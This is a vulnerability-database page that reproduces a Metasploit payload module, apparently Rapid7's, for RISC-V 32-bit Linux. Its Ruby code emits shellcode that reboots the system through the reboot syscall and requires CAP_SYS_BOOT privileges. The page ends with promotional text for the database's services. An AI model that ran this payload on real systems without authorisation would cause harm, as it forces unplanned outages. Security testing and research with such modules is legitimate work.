Lucene search
K

Linux Reboot

🗓️ 01 Nov 2024 18:54:17Reported by bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 253 Views

Linux Reboot with small shellcode for testing system reboot using the reboot syscall

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 32

  include Msf::Payload::Linux::Riscv32le::Prepends
  include Msf::Payload::Single

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Reboot',
        'Description' => %q{
          A very small shellcode for rebooting the system using
          the reboot syscall. This payload is sometimes helpful
          for testing purposes. Requires CAP_SYS_BOOT privileges.
        },
        'Author' => 'bcoles',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_RISCV32LE,
        'References' => [
          ['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
          ['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/reboot/reboot.s'],
        ]
      )
    )
  end

  def generate(_opts = {})
    shellcode =
      [0xfee1e537].pack('V*') + # lui   a0,0xfee1e
      [0xead50513].pack('V*') + # addi  a0,a0,-339
      [0x281225b7].pack('V*') + # lui   a1,0x2812
      [0x96958593].pack('V*') + # addi  a1,a1,-1687
      [0x01234637].pack('V*') + # lui   a2,0x1234
      [0x56760613].pack('V*') + # addi  a2,a2,1383
      [0x08e00893].pack('V*') + # li    a7,142
      [0x00000073].pack('V*')   # ecall

    super.to_s + shellcode
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation